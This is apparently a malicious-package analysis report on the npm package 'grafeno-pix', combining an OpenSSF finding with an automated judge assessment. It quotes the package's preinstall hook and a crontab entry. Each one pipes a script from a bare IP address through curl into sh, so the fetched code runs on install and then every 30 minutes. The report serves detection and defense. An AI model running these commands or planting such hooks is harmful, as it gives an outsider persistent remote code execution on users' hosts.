grafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely. The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package executes one or more commands associated with malicious behavior. Judge assessment: This looks like an installer-delivered payload whose attacker model is arbitrary remote code execution on the victim machine during npm install. The `package.json` preinstall hook literally runs `curl -s 216.126.236.46/x.sh|sh`, which fetches an unpinned shell script from a bare IP and executes it immediately, matching the OSV advisory and the analyzer's `curl-pipe-execute` finding. The publisher context does not mitigate this: the package is brand new, the NPM account is less than a day old, and there is no repository link to establish legitimate provenance. The empty `index.js` export is just a cover; the malicious behavior is in the install hook, so this should be treated as a compromised or intentionally malicious package. ENTRY index.js (default-index: index.js) - Preinstall Script in package.json: ""preinstall":"curl -s 216.126.236.46/x.sh|sh"" DESTINATION - 1 fetched-payload (ipv4) (values recorded in verified_iocs) EXFIL - Curl/Wget Pipe to Shell in package.json: "curl -s 216.126.236.46/x.sh|sh" ADDITIONAL FINDINGS - Brand New Package - Very New NPM Publisher Account
